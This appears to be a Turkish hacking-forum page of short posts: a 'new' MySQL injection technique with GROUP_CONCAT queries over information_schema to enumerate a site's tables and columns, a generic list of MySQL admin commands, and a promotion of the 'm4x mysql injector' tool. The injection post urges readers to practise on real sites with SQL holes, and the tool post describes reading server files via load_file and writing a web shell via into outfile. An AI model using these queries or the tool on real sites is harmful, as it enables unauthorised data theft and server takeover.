GROUP_CONCAT MySQL SQL Injection

Yeni Mysql Injection teknigi . Pratik için deneme yapabilirsiniz arkadaslar mesela Sql açigi olan bir siteye bu kodu uygulayarak baslayabilirsiniz ; SELECT CONCAT(TABLO_ADI,’>’,GROUP_CONCAT(KOLON_ADI)) FROM information_schema.columns …



SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1



SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1



SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

Devamını okumak için tıklayın

Tepkiler:

Mysql Komutları

SQL Server üzerinde bir veritabanı oluşturun
mysql> create database [databasename];

SQL Server üzerinde tüm veritabanlarının listesi
mysql> show databases;

Veritabanı tüm tabloları görebilirsiniz
mysql> show tables;

Bir veritabanını silmek için
mysql> drop database [database name];

Bir tablo silmek için
mysql> drop table [table name];

Bir tablodaki tüm verileri gösterir
mysql> SELECT * FROM [table name];

Sum column.
mysql> SELECT SUM(*) FROM [table name];

Yeni bir kullanıcı oluşturma. Login root olarak. MySQL db geçin. Kullanıcı olun. Güncelleme privs.

# mysql -u root -p
mysql> use mysql;

mysql> INSERT INTO user (Host,User,Password) VALUES('%','username',PASSWORD('password'));
mysql> flush privileges;


UNIX shellde bir kullanıcı şifresini değiştirin.

# [mysql dir]/bin/mysqladmin -u username -h hostname.blah.org -p password 'new-password'

Root şifresini güncelleyin

# mysqladmin -u root -p oldpassword newpassword

Bir kolon silin

mysql> alter table [table name] drop column [column name];

Veritabanına yeni bir kolon ekleyin

mysql> alter table [table name] add column [new column name] varchar (20);

Kolon adını değiştirin

mysql> alter table [table name] change [old column name] [new column name] varchar (50);

Komutlara kaldığım yerden devam edicem......

Devamını okumak için tıklayın

Tepkiler:

GROUP_CONCAT MySQL SQL Injection

Yeni Mysql Injection teknigi . Pratik için deneme yapabilirsiniz arkadaslar mesela Sql açigi olan bir siteye bu kodu uygulayarak baslayabilirsiniz ; SELECT CONCAT(TABLO_ADI,’>’,GROUP_CONCAT(KOLON_ADI)) FROM information_schema.columns …

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1

SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
SELECT CONCAT(table_name,’>’,GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

Tepkiler:

m4x mysql injector demonstration

m4x mysql injector demonstration

Standart methodların aksine farklı bir yöntem kullanıldığı için m4x mysql injector benzer uygulamaların aksine çok daha hızlı çalışmaktadır.

Kullanıcı seçimine bağlı olarak proxy özelliği vardır.

Veriler aynı Database management sistemleri veya scriptlerinde olduğu gibi birebir çekilmektedir.

Treeview kontrolü kullanıldığı için listeleme işlemlerinizi oldukça kolay yapabilirsiniz.

Veriler listelenirken istenilirse limit belirtilir o limit kadar veri çekilir.

Verileri ister sondan(desc) ister baştan (asc) olarak çekebilirsiniz.

Verileri çekerken progressbar sayesinde işlemin ne kadar kaldığını görebilirsiniz.

Çektiğiniz verileri excele aktararak kolaylıkla yönetebilirsiniz.

Daha önce listelediğiniz db yapısını kaydederek, daha sonraki kullanımlarda tekrar tekrar aynı işlemleri yapmanıza gerek kalmadan yükleyebilirsiniz.

m4x mysql ile db kullanıcısı dosya izinlerine sahip ise , load_file, into outfile ve into dumpfile fonksiyonlarını çalıştırabilirsiniz. Load file ile istediğiniz dosyayı okuyup, into out file ile de istediğiniz dizine shell'inizi yazdırabilirsiniz.

Magic Quotes Gpc ' den etkilenmez. On veya off farketmez.

H4ckinger e teşekkürler

kaynak: http://h4ckinger.org

Tepkiler: